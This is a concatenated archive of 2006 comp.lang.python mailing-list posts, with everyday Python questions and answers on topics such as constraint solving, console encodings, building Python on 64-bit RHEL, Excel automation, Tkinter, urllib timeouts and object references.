In-Reply-To: <1LadnZCCBosBMK_YnZ2dnUVZ_r-dnZ2d@comcast.com> References: <1LadnZCCBosBMK_YnZ2dnUVZ_r-dnZ2d@comcast.com> Message-ID: <1160995851.796140.135330@b28g2000cwb.googlegroups.com> Steven Bethard a ?crit : > I'm trying to solve a constraint-satisfaction problem, and I'm having > some troubles framing my problem in such a way that it can be > efficiently solved. > > Basically, I want to build groups of two teachers and four students such > that [1]: > > * Students are assigned to exactly one group > * Teachers are assigned to approximately the same number of groups > * Students are not in groups with their homeroom teachers > * Students in each group are from four different homerooms > > So given teachers A, B, C, D, E and F and their corresponding students > A1, A2, ... F3, F4, here's a good grouping: > > A, B: C1, D1, E1, F1 > B, C: A1, D2, E2, F2 > C, D: A2, B1, E3, F3 > D, E: A3, B2, C2, F4 > E, F: A4, B3, C3, D3 > F, A: B4, C4, D4, E4 > > > My current solution is to create a constraint satisfaction problem using > python-constraint (http://labix.org/python-constraint) where there are Last time I looked at it, it seemed to not use (by default) its Arc8 routine that prunes domains between each variable instantiation by the backtracker. Did you enable it ? (it should have a crucial performance impact). You could also try the logilab constraint package (http://www.logilab.org/projects/constraint) and see how it fares with your problem (it 'only' provides the AC3 domain pruning algorithm but at least uses it by default). Cheers, Aur?lien. > variables for: > > * each student domain: group names > * each group name domain: all pairs of teachers > > This works for simple problems, but because most of my constraints have > to iterate over all students and/or all groups, this takes way too long > on my real dataset (which has 300+ students). I thought about trying to > reframe the problem so that there are variables for: > > * each group name domain: pairs of teachers X 4-tuples of students > > but that seems like it would be generating something like 15^2*300^4 > items for the domain, which is clearly also going to be way too big. > > > Any suggestions on how to speed things up? I've posted my current code_ > and the tests_ in case anyone has the time to look at them. > > .. _code: http://ucsu.colorado.edu/~bethard/py/constraint/student_groups.py > .. _tests: > http://ucsu.colorado.edu/~bethard/py/constraint/test_student_groups.py > > > Thanks! > > Steve > > > [1] There are actually two other constraints that I omitted: > > * Some teachers cannot be placed in the same group, e.g. I might know > that A cannot work with B or that E cannot work with F. > > * If you create a graph out of the teacher pairs from all the groups, > the graph should not be disconnected. That is, the following grouping > is bad because the teachers are disconnected: > > A, B: ... > C, D: ... > A, B: ... > > while this grouping would be okay: > > A, B: ... > B, C: ... > C, D: ... From gagsl-py at yahoo.com.ar Tue Oct 10 03:24:52 2006 From: gagsl-py at yahoo.com.ar (Gabriel Genellina) Date: Tue, 10 Oct 2006 04:24:52 -0300 Subject: Encode differences between idle python and python In-Reply-To: <1160459071.233638.167150@k70g2000cwa.googlegroups.com> References: <1160459071.233638.167150@k70g2000cwa.googlegroups.com> Message-ID: <7.0.1.0.0.20061010041825.0439eba8@yahoo.com.ar> At Tuesday 10/10/2006 02:44, pretoriano_2001 at hotmail.com wrote: >Hello: >Under win32 XP y select python command line and execute next code with >results indicated: > >Python 2.5 (r25:51908, Sep 19 2006, 09:52:17) [MSC v.1310 32 bit >(Intel)] on >Type "help", "copyright", "credits" or "license" for more information. > >>> u=u'?????' > >>> u >u'\xe1\xe9\xed\xf3\xfa' > >>> print u >????? > >>> a=u.encode('latin-1') > >>> a >'\xe1\xe9\xed\xf3\xfa' > >>> print a >????? > >>> type(a) > > >>> type(u) > > >>> Because the console code page != windows code page. Exit Python. At the console prompt, type: >chcp If it says 850 - your console is using codepage 850. Enter Python again, and replace 'latin-1' with 'cp850'. You should get the right representation. -- Gabriel Genellina Softlab SRL __________________________________________________ Pregunt?. Respond?. Descubr?. Todo lo que quer?as saber, y lo que ni imaginabas, est? en Yahoo! Respuestas (Beta). ?Probalo ya! http://www.yahoo.com.ar/respuestas From stephan.diehl at gmx.net Tue Oct 10 05:07:01 2006 From: stephan.diehl at gmx.net (Stephan Diehl) Date: Tue, 10 Oct 2006 11:07:01 +0200 Subject: Dr. Dobb's Python-URL! - weekly Python news and links (Oct 10) In-Reply-To: References: Message-ID: Cameron Laird wrote: > goon summarizes WSGI resources: > http://groups.google.com/group/comp.lang.python/msg/f7d67bc039748792 > THE wsgi resource at the moment is http://wsgi.org . (sorry, I've missed the original thread) Stephan From chtaylo3 at gmail.com Mon Oct 23 19:42:34 2006 From: chtaylo3 at gmail.com (Christopher Taylor) Date: Mon, 23 Oct 2006 19:42:34 -0400 Subject: Help: Python2.3 & Python2.4 on RHEL4 x86_64 In-Reply-To: <453d4821$0$22566$9b622d9e@news.freenet.de> References: <45386B4C.4020001@v.loewis.de> <453d4821$0$22566$9b622d9e@news.freenet.de> Message-ID: <2590773a0610231642x65d1991r5f3568fddf5d062d@mail.gmail.com> Ok, so if I need to build the 32bit binaries, I just need to make sure I pass the right argument through to the compiler then? (I'm trying to build 32 bit and 64 bit binaries on the same system, but I'll wait untill I get just the 64bit stuff built first before I tackle that) Also, I've fooled around with passing --libdir=/usr/lib64 to the configure script and for whatever reason, the Makefile isn't correctly written. It always ends up copying the lib files to /usr/lib. So I thought I'd manually edit the Makefile by editing the makefile on lines 83 and 87 so they are now: 83: LIBDIR= $(exec_prefix)/lib64 87: SCRIPTDIR= $(prefix)/lib64 then: make clean make make test make altinstall cd .. python2.4 I get the following error message: Could not find platform independent libraries Could not find platform dependent libraries Consider setting $PYTHONHOME to [:] 'import site' failed; use -v for traceback so then I edited /etc/profile and added export PYTHONHOME="/usr" then restarted and I got ride of the "Could not find platform in/dependent libraries" errors but I still get the " 'import site' failed " error. I did a python2.4 -v and below is the output: # installing zipimport hook import zipimport # builtin # installed zipimport hook 'import site' failed; traceback: ImportError: No module named site *** Now I'm lost *** Just for sanity sakes I undid the changes to lines 83 & 87 of the make file, did a "make clean", "make", "make test", "make altinstall", "python2.4" followed by some goofing around and everything works fine. So I'm guessing my manual edits of the makefile didn't go well. Any idea what else I need to change? Respectfully, Christopher Taylor From richie at entrian.com Tue Oct 24 06:56:01 2006 From: richie at entrian.com (Richie Hindle) Date: Tue, 24 Oct 2006 11:56:01 +0100 Subject: [OT] Re: can't open word document after string replacements In-Reply-To: <453deaff$0$11813$426a74cc@news.free.fr> References: <5e2e9$453dbff7$544abf75$9155@news.hispeed.ch> <453dd1b8$0$15214$426a74cc@news.free.fr> <30f41$453de7c9$544abf75$16552@news.hispeed.ch> <453deaff$0$11813$426a74cc@news.free.fr> Message-ID: <67srj29g50t7crqu4nqabg5ou870co32f4@4ax.com> [Antoine] > I have a word document containing pictures and text. This documents > holds several 'ABCDEF' strings which serve as a placeholder for names. > Now I want to replace these occurences with names in a list (members). [Bruno] > I don't know how it's named in english, but in french it's (well - it > was last time I used MS Word, which is quite some times ago???) "fusion > de documents". "Mail Merge"? -- Richie Hindle richie at entrian.com From skip at pobox.com Mon Oct 23 17:10:08 2006 From: skip at pobox.com (skip at pobox.com) Date: Mon, 23 Oct 2006 16:10:08 -0500 Subject: Getting a lot of SPAM from this list In-Reply-To: <7.0.1.0.0.20061023175044.05c75ec8@yahoo.com.ar> References: <7.0.1.0.0.20061023175044.05c75ec8@yahoo.com.ar> Message-ID: <17725.12208.931743.88672@montanaro.dyndns.org> Gabriel> I use a discardable email address from Yahoo. Spam filtering is Gabriel> good, and when you get too much spam, just delete that address Gabriel> and create another one. Maybe it's just me, but creating and discarding email addresses makes me think the spammers have won. I'd prefer to face them down at high noon. Six guns at twenty paces (figuratively speaking, of course). Skip From michael.pearmain at tangozebra.com Wed Oct 18 10:13:18 2006 From: michael.pearmain at tangozebra.com (michael.pearmain at tangozebra.com) Date: 18 Oct 2006 07:13:18 -0700 Subject: Win32 python and excel macros Message-ID: <1161180798.760994.111230@k70g2000cwa.googlegroups.com> Hi Experts, Looking for a very quick bit on of advice on how to make some python code run. I'm a newbie to both VBA and Python, so i apologise if this is very easy but i'm about to tear my hair out after googling for the last 3 days. I have written a large python script which inside of it creates an Excel table, the name of this file and how many objects can change for each project i run. I have then written a VBA script which takes the info from Excel and drops it into a PowerPoint Pres. Both of these procedures work fine, but i am coming unstuck when i try to apply the macro, (or .xla) file to the new tables autmatically. Can anyone give me any guidance on this? The macro is called sub is CTP and the add-in file is CTP.XLA Below is the code i've managed to 'Stick' together Mike import win32com.client xl = win32com.client.Dispatch("Excel.Application") ppt = win32com.client.Dispatch("PowerPoint.Application") xl.Visible = 1 #open MS Excel ppt.Visible = 1 #open MS Powerpoint xl.Workbooks.Open('Z:\\projects\\surveys\\SPSS - Generic files\\big output.xls') #A table for a project xl.Workbooks.Open('Z:\\projects\\surveys\\SPSS - Generic files\\CTP.xla') # Stored macro add-in ppt.Presentations.Open('Z:\\projects\\surveys\\SPSS - Generic files\\Basic Template.ppt') xl.Application.ExecuteExcel4macro('CTP!CTP.xla()"[big output.XLS]') From idknow at gmail.com Fri Oct 13 17:39:13 2006 From: idknow at gmail.com (B M) Date: Fri, 13 Oct 2006 17:39:13 -0400 Subject: Standard Forth versus Python: a case study In-Reply-To: <7.0.1.0.0.20061012211219.04ad8c50@yahoo.com.ar> References: <1160603937.392188.253250@m7g2000cwm.googlegroups.com> <1160619958.438049.53390@h48g2000cwc.googlegroups.com> <1160652722.908731.213650@i42g2000cwa.googlegroups.com> <7xfydtojhe.fsf@ruckus.brouhaha.com> <7x4pu9bw3z.fsf@ruckus.brouhaha.com> <1160685854.118420.133080@e3g2000cwe.googlegroups.com> <7.0.1.0.0.20061012211219.04ad8c50@yahoo.com.ar> Message-ID: i hang my head in shame. On 10/12/06, Gabriel Genellina wrote: > At Thursday 12/10/2006 17:44, idknow at gmail.com wrote: > > > > > > fun median { > > > > > var x = 0. > > > > > while( *p++) { > > > > > if( (*p) > x) x = *p. > > > > > } > > > > > return x. > > > > > } > > > >clearly, i've forgotten the definition of the median of a list. > >to that i plead faulty memory. > > That explains all. Finding the median in an efficient way (that is, > without sorting the data first) isn't trivial, so your claim of "I > can do that using only one temp variable" was a bit surprising... > BTW, the median is the value which sits just in the middle of the > list when ordered: median(3,5,12,1,2)=median(1,2,3,5,12) = 3 > > > -- > Gabriel Genellina > Softlab SRL > > > > > > __________________________________________________ > Pregunt?. Respond?. Descubr?. > Todo lo que quer?as saber, y lo que ni imaginabas, > est? en Yahoo! Respuestas (Beta). > ?Probalo ya! > http://www.yahoo.com.ar/respuestas > > > From MrJean1 at gmail.com Thu Oct 19 16:27:45 2006 From: MrJean1 at gmail.com (MrJean1) Date: 19 Oct 2006 13:27:45 -0700 Subject: Compile for 64bit RHEL In-Reply-To: References: Message-ID: <1161289665.154954.117130@f16g2000cwb.googlegroups.com> Both Python 2.4.4 and 2.5 built just fine on my Opteron box with RHEL (release 3 update 7). There are no test failures, only 35 skipped tests (which are expected on Linux). /Jean Brouwers Christopher Taylor wrote: > Has anyone been able to get python 2.4 to compile properly for x86_64 RHEL? > > Respectfully, > Christopher Taylor From fer7msb02 at sneakemail.com Fri Oct 27 03:06:05 2006 From: fer7msb02 at sneakemail.com (Yang) Date: Fri, 27 Oct 2006 03:06:05 -0400 Subject: Assertion failure on hotshot.stats.load() Message-ID: <31672-10273@sneakemail.com> Note: I realize hotshot is obsoleted by cProfile, but 2.5 breaks several packages I depend on. I'm using Python 2.4.3. I'm getting an AssertionError on "assert not self._stack" when calling hotshot.stats.load() on my app's hotshot profile. The app consistently causes hotshot to generate such a problematic profile, but I have no idea what's causing it. Anybody know what's wrong? Here's the profile: http://www.filefactory.com/file/76fdbd/ Potentially relevant bugs: http://sourceforge.net/tracker/index.php?func=detail&aid=900092&group_id=5470&atid=105470 http://sourceforge.net/tracker/index.php?func=detail&aid=1019882&group_id=5470&atid=105470 Thanks in advance for any help. From fredrik at pythonware.com Thu Oct 12 14:55:37 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Thu, 12 Oct 2006 20:55:37 +0200 Subject: Appropriate way to quit Tkinter In-Reply-To: <1160675883.753402.70430@i3g2000cwc.googlegroups.com> References: <1160675883.753402.70430@i3g2000cwc.googlegroups.com> Message-ID: mzdude wrote: > I've just started playing with Python. Installed 2.5 on Windows XP > system. I'm working through some of the examples in Programming Python > 3ed by Mark Lutz. Given the following example when the Quit All button > action is assigned to root.quit the windows aren't dismissed or > destroyed. The application appears to terminate, but the windows > remain. When the action is assigned to root.destroy, the windows are > closed. Questions: > 1) Which way is preferred / correct? quit() causes the mainloop() call to return. if calling mainloop() is the last thing you do in your program, the program terminates. destroy() destroys the given window. if that's the last window, the mainloop() is terminated as well. > 2) Is something wrong with 2.5? (I haven't tried older versions of > python) not that I can see. > 3) Is there something wrong with my installation? works for me. are you perhaps running this under some kind of IDE that keeps the process running even after the program has terminated? From kgrafals at gmail.com Mon Oct 16 14:08:36 2006 From: kgrafals at gmail.com (kgrafals at gmail.com) Date: 16 Oct 2006 11:08:36 -0700 Subject: urllib.urlopen: Errno socket error Message-ID: <1161022115.983554.76140@h48g2000cwc.googlegroups.com> Hi, I'm just trying to read from a webpage with urllib but I'm getting IOErrors. This is my code: import urllib sock = urllib.urlopen("http://www.google.com/") and this is the error: Traceback (most recent call last): File "", line 1, in sock = urllib.urlopen("http://www.google.com/") File "C:\Python25\lib\urllib.py", line 82, in urlopen return opener.open(url) File "C:\Python25\lib\urllib.py", line 190, in open return getattr(self, name)(url) File "C:\Python25\lib\urllib.py", line 325, in open_http h.endheaders() File "C:\Python25\lib\httplib.py", line 856, in endheaders self._send_output() File "C:\Python25\lib\httplib.py", line 728, in _send_output self.send(msg) File "C:\Python25\lib\httplib.py", line 695, in send self.connect() File "C:\Python25\lib\httplib.py", line 679, in connect raise socket.error, msg IOError: [Errno socket error] (10060, 'Operation timed out') I'm behind my company's firewall. Would that cause a problem? If it does, How do I get around it? From wescpy at gmail.com Thu Oct 12 16:27:39 2006 From: wescpy at gmail.com (wesley chun) Date: Thu, 12 Oct 2006 13:27:39 -0700 Subject: ANN: BayPIGgies, Oct 12, 7:30pm, Google, Mtn View Message-ID: <78b3a9580610121327h6e3af388q2f9d875faf1a2369@mail.gmail.com> Final REMINDER: Tonight, the Silicon Valley/San Francisco Bay Area Python users group meets at Google in Mountain View from 7:30-9p. the featured speaker is Alex Martelli, author of O'Reilly's Python in a Nutshell and editor of the Python Cookbook(s). the topic is Python 2.5. for more info and directions, see http://baypiggies.net for information on meeting for dinner before the meeting (6pm): http://mail.python.org/pipermail/baypiggies/2006-October/001228.html hope to see you there! -- wesley - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - "Core Python Programming", Prentice Hall, (c)2007,2001 http://corepython.com wesley.j.chun :: wescpy-at-gmail.com python training and technical consulting cyberweb.consulting : silicon valley, ca http://cyberwebconsulting.com From hanumizzle at gmail.com Sun Oct 8 15:24:41 2006 From: hanumizzle at gmail.com (Theerasak Photha) Date: Sun, 8 Oct 2006 15:24:41 -0400 Subject: references and buffer() In-Reply-To: References: Message-ID: <463ff4860610081224o7261e9e9ue0981b79fa574cbd@mail.gmail.com> On 10/8/06, km wrote: > Hi all, > > > > in the CPython implementation, it's the address where the object is > > stored. but that's an implementation detail. > > ok so can i point a vairiable to an address location just as done in C > language ? > >>> y = 'ATGCATGC' > >>> x = buffer(y) > >>> del(y) > >>> x > > >>> print x > ATGCATGC > > now even when i delete y, why is that x still exists ? Say that you copy the contents of file foo into file bar and delete the original foo. Of course file bar still exists in this case. Not much of a difference; I haven't seen buffer objects yet (I am also new to Python), but the initialization for the buffer probably copies whatever is in y somewhere. > thats true even in the case of vairable assignment which states it a a > reference ! > >>> a = 10 > >>> b = a > >>> del(a) > >>> b > 10 > i always thought if u modify the referred variable/buffer object it should > be reflected in the referenced variables/buffers objects You didn't modify the object that the variable /refers to/. Furthermore, numbers are immutable anyway. To continue with the Hindu god analogy, Vishnu did not cease to exist when any of his avatars passed from the physical world; it is no different with objects in Python. IOW a --> 10 b -/ Delete the 'a' reference and: b --> 10 Or: >>> class god(object): ... pass ... >>> vishnu = god() >>> matsya = vishnu >>> kurma = vishnu >>> varaha = vishnu >>> narasimha = vishnu >>> # Etc ... >>> del narasimha >>> matsya <__main__.god object at 0x402e3c6c> >>> kurma <__main__.god object at 0x402e3c6c> What is a little different is this: if there are no references left to an object (such as variables), the object the references point to will eventually be deleted. Variables are one way to have a reference to an object. References to an object may also exist in a list, hash, or other data type. >>> a = 'foo' >>> b = [1,2,3,a] >>> del(a) >>> b [1, 2, 3, 'foo'] > am i wrong ? > does it mean that references in python are not true references ? Python is object-oriented in either sense of the word (think Lisp sense then think Smalltalk sense). These are true references. -- Theerasak From fredrik at pythonware.com Tue Oct 10 04:40:49 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Tue, 10 Oct 2006 10:40:49 +0200 Subject: Python component model In-Reply-To: <1160467516.602655.169920@c28g2000cwb.googlegroups.com> References: <452aeed2$0$8740$ed2619ec@ptn-nntp-reader02.plus.net> <1160467516.602655.169920@c28g2000cwb.googlegroups.com> Message-ID: Nick Vatamaniuc wrote: > At the same time one could claim that Python already has certain > policies that makes it seem as if it has a component model. every Python object surely qualifies as a component, for any non-myopic definition of that word, and everything inside a Python program is an object. so yes, Python has a component model, and Python programmers are using that model all over the place. what might be missing is support for publishing additional metadata using a standardized vocabulary, and a way to access that data with- out having to actually create the object. implementing this using existing mechanisms is trivial (as the endless stream of interface/component/adapter/trait implementations have shown us); coming up with a good-enough-to-be-useful-for-enough-people vocabulary is a lot harder. From grflanagan at yahoo.co.uk Mon Oct 16 16:00:16 2006 From: grflanagan at yahoo.co.uk (Gerard Flanagan) Date: 16 Oct 2006 13:00:16 -0700 Subject: Need a strange sort method... In-Reply-To: <1161023839.841044.283730@e3g2000cwe.googlegroups.com> References: <1161022388.133766.221150@m7g2000cwm.googlegroups.com> <1161023839.841044.283730@e3g2000cwe.googlegroups.com> Message-ID: <1161028816.398810.301050@e3g2000cwe.googlegroups.com> Gerard Flanagan wrote: > SpreadTooThin wrote: > > I have a list and I need to do a custom sort on it... > > > > for example: > > a = [1,2,3,4,5,6,7,8,9,10] #Although not necessarily in order > > > 1 4 7 10 > > 2 5 8 > > 3 6 9 > > > > from math import sqrt > > for i in range(2,12): > seq = range(1,i) > numcols = int(sqrt(len(seq))) > print columnise(seq, numcols) > should be: numcols = int(sqrt(len(seq) + 0.5) Gerard From joel at rosdahl.net Fri Oct 13 05:30:11 2006 From: joel at rosdahl.net (Joel Rosdahl) Date: Fri, 13 Oct 2006 11:30:11 +0200 Subject: Linting python code... In-Reply-To: <17707.37057.62720.611901@montanaro.dyndns.org> (skip@pobox.com's message of "Tue, 10 Oct 2006 07:23:29 -0500") References: <200610101415.54557.email@christoph-haas.de> <17707.37057.62720.611901@montanaro.dyndns.org> Message-ID: <87wt748sws.fsf@rosdahl.net> skip at pobox.com writes: > Christoph> On Tuesday 10 October 2006 14:06, Andrew Markebo wrote: > >> Are there any python-code linter out there > > Christoph> PyLint (http://www.logilab.org/projects/pylint) > Christoph> PyChecker (http://pychecker.sf.net) > > New kid on the block: > > PyFlakes http://divmod.org/trac/wiki/DivmodPyflakes > > It doesn't do nearly as much as the other two but doesn't import the > modules, so it can be used in places the others can't. I thought PyLint doesn't import modules either. Am I mistaken? -- Regards, Joel Rosdahl Key BB845E97; fingerprint 9F4B D780 6EF4 5700 778D 8B22 0064 F9FF BB84 5E97 From fredrik at pythonware.com Wed Oct 18 09:53:17 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Wed, 18 Oct 2006 15:53:17 +0200 Subject: Image.draft -- what are the modes that I can use? References: <1161178409.276973.286990@k70g2000cwa.googlegroups.com> <1161179376.827555.239810@i3g2000cwc.googlegroups.com> Message-ID: "abcd" wrote: >> or even better, Flash? > > well I am trying to take screenshots and make them into an animated > GIF, however, putting them into a Flash movie would be cool....any idea > how to go about doing either with python? (windows, possibly linux > later) to repeat myself: here's a tool that lets you use VNC to capture the screen, and then convert the result to a flash animation: http://www.unixuser.org/~euske/vnc2swf/ From apardon at forel.vub.ac.be Wed Oct 4 06:33:11 2006 From: apardon at forel.vub.ac.be (Antoon Pardon) Date: 4 Oct 2006 10:33:11 GMT Subject: What value should be passed to make a function use the default argument value? References: <1159906617.790518.323860@m7g2000cwm.googlegroups.com> <7xwt7gqwb3.fsf@ruckus.brouhaha.com> <7xac4cpefr.fsf@ruckus.brouhaha.com> Message-ID: On 2006-10-04, Paul Rubin wrote: > Antoon Pardon writes: >> Now in this case you could start by assigning arg the value 1 and >> eliminate the if test. However that only works if you know the >> default value for the argument. What he seems to be asking for >> is if there is an object, (let as call it Default), that would >> make code like: >> >> def f(var=1): >> >> Equivallent to: >> >> def f(var=Default) >> if var is Default) >> var = 1 > > Oh, I see. Yes, the OP should just use a distinct default value > instead of 1. I usually do this with > > sentinel = object() > > def f(var=sentinel): > if var is sentinel: > # f was called without an arg But that can only work if you are the author of f. Take the following code: def myrepeat(obj, times = xxx): return itertools.repeat(obj, times) What value do I have to substitue for xxx, so that myrepeat will have the exact same function as itertools.repeat? -- Antoon Pardon From neoedmund at gmail.com Mon Oct 16 02:02:55 2006 From: neoedmund at gmail.com (neoedmund) Date: 15 Oct 2006 23:02:55 -0700 Subject: python's OOP question In-Reply-To: <1160976684.218025.71050@m73g2000cwd.googlegroups.com> References: <1160962754.613391.254330@e3g2000cwe.googlegroups.com> <1160965758.324644.131920@i42g2000cwa.googlegroups.com> <1160969393.803021.274070@e3g2000cwe.googlegroups.com> <1160976684.218025.71050@m73g2000cwd.googlegroups.com> Message-ID: <1160978575.748868.25940@h48g2000cwc.googlegroups.com> Oh, How great is the solution! ( though i don't know how it works. ) Thank you George. George Sakkis wrote: > neoedmund wrote: > > > python use multiple inheritance. > > but "inheritance" means you must inherite all methods from super type. > > now i just need "some" methods from one type and "some" methods from > > other types, > > to build the new type. > > Do you think this way is more flexible than tranditional inheritance? > > The following does the trick: > > from types import MethodType > > def addMethod(meth, obj): > f = meth.im_func > setattr(obj, f.__name__, MethodType(f,obj)) > > def test1(): > addMethod(C2.m, C3) > addMethod(C1.v, C3) > o = C3() > o.m() > > The same works as is on modifying individual instances, rather than > their class: > > def test2(): > o = C3() > addMethod(C2.m, o) > addMethod(C1.v, o) > o.m() > # raises AttributeError > # C3().m() > > > George From fredrik at pythonware.com Fri Oct 20 08:23:47 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Fri, 20 Oct 2006 14:23:47 +0200 Subject: python under the hood References: <1161345457.021410.306910@m73g2000cwd.googlegroups.com> Message-ID: tpochep at mail.ru wrote: > Is there any good information about python's internals and semantic? I > mean "under the hood". > For example, I want to understant what do these strings > > x = 10 > y = 10 > x = 20 > > mean (memory allocation for object? ctors? etc.) reading this might help: http://effbot.org/zone/python-objects.htm From Hakusa at gmail.com Wed Oct 25 22:39:28 2006 From: Hakusa at gmail.com (Hakusa at gmail.com) Date: 25 Oct 2006 19:39:28 -0700 Subject: What's the best IDE? In-Reply-To: References: <1161818092.830293.141880@k70g2000cwa.googlegroups.com> <453ff3a7$0$23866$426a74cc@news.free.fr> <1161822032.211125.272160@h48g2000cwc.googlegroups.com> <454004a9$0$19602$88260bb3@free.teranews.com> <1161828498.791044.144040@f16g2000cwb.googlegroups.com> Message-ID: <1161830368.661669.228270@i3g2000cwc.googlegroups.com> Before that, I mentioned I was trying to make a text adventure, from scratch to add more clarity. From george.sakkis at gmail.com Wed Oct 25 20:28:55 2006 From: george.sakkis at gmail.com (George Sakkis) Date: 25 Oct 2006 17:28:55 -0700 Subject: Fatal Python error: deallocating None Message-ID: <1161822535.445257.143360@i3g2000cwc.googlegroups.com> It's the first time in the three years I've been using python that a program crashes without a nice traceback to give me a clue of what might be wrong. After searching a little, it seems it's one of those hard to get down to cases, so I've no idea where to look for. Briefly what I do is, select some rows from one table, do some number crunching and insert or update rows in another table. The C extensions I'm using are numarray and MySQLdb (indirectly, through Sqlalchemy). What makes the problem worse is that it's not deterministic; I can restart it from (a little before) the point of crash and it doesn't happen again at the same point, but it might happen further down. Now, I wouldn't mind restarting it manually every time since the crashes are not all that frequent; problem is, it's supposed to be a long-running process that will probably take days to finish normally, so I want it to run overnight too. Any hints ? Thanks, George From bdesth.quelquechose at free.quelquepart.fr Sat Oct 21 16:12:55 2006 From: bdesth.quelquechose at free.quelquepart.fr (Bruno Desthuilliers) Date: Sat, 21 Oct 2006 22:12:55 +0200 Subject: why does this unpacking work In-Reply-To: <%ba_g.133$1n3.3373@news.tufts.edu> References: <1161373003.141096.277510@i42g2000cwa.googlegroups.com> <%ba_g.133$1n3.3373@news.tufts.edu> Message-ID: <453a7aef$0$26136$426a74cc@news.free.fr> John Salerno a ?crit : > johnzenger at gmail.com wrote: > >> It's just sequence unpacking. Did you know that this works?: >> >> pair = ("California","San Francisco") >> state, city = pair >> print city >> # 'San Francisco' >> print state >> # 'California' > > > Yes, I understand that. What confused me was if it had been written like > this: > > pair = (("California","San Francisco")) Python 2.4.1 (#1, Jul 23 2005, 00:37:37) [GCC 3.3.4 20040623 (Gentoo Linux 3.3.4-r1, ssp-3.3.2-2, pie-8.7.6)] on linux2 Type "help", "copyright", "credits" or "license" for more information. >>> (("California","San Francisco")) == ("California","San Francisco") True pair = "California","San Francisco" >>> pair ('California', 'San Francisco') >>> t = 1, >>> t (1,) >>> t = 1, 2 >>> t (1, 2) >>> HTH From mitko at qlogic.com Fri Oct 20 19:13:17 2006 From: mitko at qlogic.com (Mitko Haralanov) Date: Fri, 20 Oct 2006 16:13:17 -0700 Subject: Python with MPI enable C-module In-Reply-To: <1161265860.684651.91210@k70g2000cwa.googlegroups.com> References: <1161265860.684651.91210@k70g2000cwa.googlegroups.com> Message-ID: <20061020161317.2beaa984@opal.pathscale.com> On 19 Oct 2006 06:51:00 -0700 "dfj225 at gmail.com" wrote: > 1) Would setting up an environment like this require modifying the > Python interpreter or the C++ module that is being wrapped? What I'm > hoping is that the C++ module can go on happily doing MPI operations > despite the fact that it is actually being called by the Python > interpreter. If I am understanding you correctly, you have a Python module which calls into the C++ library to do the actual MPI operations. If that is the case, then there should be any problems just calling the Python wrappers. The MPI library should be unaffected. It would be the same as having your node programs call into the C++ library, now you just have one more layer of abstraction. > 2) Would it be possible to spawn these Python processes using mpiexec > (or something similar), or would I need to use some of the MPI-2 > features to dynamically set up the MPI environment? If you are writing a Python wrapper to the MPI library, then the wrapper will be just like a module and not a self sustained program. If that is the case, mpiexec/mpirun/mpd would not be able to do anything since they expect to start a program that has main()/__main__. > 3) Has anyone accomplished something like this already? I know there > are extensions and modules that add MPI functionality to Python, but > I'm hoping they could be avoided, since the Python code itself should > never really have to be aware of MPI, only the C++ module that has > already been written. Haven't done it but from what I know about MPI and Python, it is possible. -- Mitko Haralanov mitko at qlogic.com Senior Software Engineer 650.934.8064 System Interconnect Group http://www.qlogic.com From gagsl-py at yahoo.com.ar Thu Oct 19 16:26:06 2006 From: gagsl-py at yahoo.com.ar (Gabriel Genellina) Date: Thu, 19 Oct 2006 17:26:06 -0300 Subject: proper format for this database table In-Reply-To: References: Message-ID: <7.0.1.0.0.20061019171647.05a861f0@yahoo.com.ar> At Thursday 19/10/2006 17:07, John Salerno wrote: >Hi guys. I was wondering if someone could suggest some possible >structures for an "Education" table in a database. It will contain at >minimum university names, years of attendance, and degrees earned. My >problem is that I don't know quite how to set this up for people who >have attended multiple universities. I could do: > >university text DEFAULT NULL, >yearStart integer DEFAULT NULL, >yearEnd integer DEFAULT NULL, >degreesEarned text DEFAULT NULL > >But this only allows for one university. (Also not sure if I should >split up the years like that.) But mainly I'm looking for a way to >construct this table so it can hold multiple universities, if necessary. The relationship should be 1:n between a Person and its Education records. Person 1<--->n Education so just add a PersonId to the table and you're done. Depending on your needs, later university and degreesEarned may become entities instead of simple text attributes. -- Gabriel Genellina Softlab SRL __________________________________________________ Pregunt?. Respond?. Descubr?. Todo lo que quer?as saber, y lo que ni imaginabas, est? en Yahoo! Respuestas (Beta). ?Probalo ya! http://www.yahoo.com.ar/respuestas From ebgssth at gmail.com Thu Oct 12 11:45:19 2006 From: ebgssth at gmail.com (js ) Date: Fri, 13 Oct 2006 00:45:19 +0900 Subject: prefix search on a large file In-Reply-To: References: <1160647737.312386.37800@c28g2000cwb.googlegroups.com> Message-ID: By eliminating list cloning, my function got much faster than before. I really appreciate you, John. def prefixdel_recursively2(alist): if len(alist) < 2: return alist first = alist.pop(0) unneeded = [no for no, line in enumerate(alist) if line.startswith(first)] adjust=0 for i in unneeded: del alist[i+adjust] adjust -= 1 return [first] + prefixdel_recursively(alist) process stime prefixdel_stupidly : 11.9247150421 prefixdel_recursively : 14.6975700855 prefixdel_recursively2 : 0.408113956451 prefixdel_by_john : 7.60227012634 From kwevans at gmail.com Tue Oct 17 08:43:36 2006 From: kwevans at gmail.com (kevin evans) Date: 17 Oct 2006 05:43:36 -0700 Subject: Newbie: datetime conversion question Message-ID: <1161089016.309925.94840@b28g2000cwb.googlegroups.com> Hi, I'm trying to convert some code from Ruby to Python, specifically.. timestamp = "%08x" % Time.now.to_i Make a hex version of the current timestamp. Any ideas how best to do this in python gratefully received.. From ardsrk at gmail.com Sun Oct 29 22:41:17 2006 From: ardsrk at gmail.com (ArdPy) Date: 29 Oct 2006 19:41:17 -0800 Subject: I want to work on Python Message-ID: <1162179677.547593.17660@k70g2000cwa.googlegroups.com> Hi there, these days I am desperately searching everywhere on the Internet for part time python jobs. The reason is I want to get actively involved with python programming and get some practical exposure. Please help me in whatever way you can. From ptmcg at austin.rr._bogus_.com Wed Oct 4 11:34:35 2006 From: ptmcg at austin.rr._bogus_.com (Paul McGuire) Date: Wed, 04 Oct 2006 15:34:35 GMT Subject: dictionary of list from a file References: <1159967361.355323.201050@m7g2000cwm.googlegroups.com> Message-ID: wrote in message news:1159967361.355323.201050 at m7g2000cwm.googlegroups.com... > Hi guys, > this is my first post. my "programming" background is perlish scripting > and now I am learning python. I need to create a dictionary of list > from a file. Normally in perl I use to do like: > > while(){ > @info=split(/ +/,$_); > push (@{$tmp{$info[0]}},$info[1]); > } > > and then > foreach $key (keys 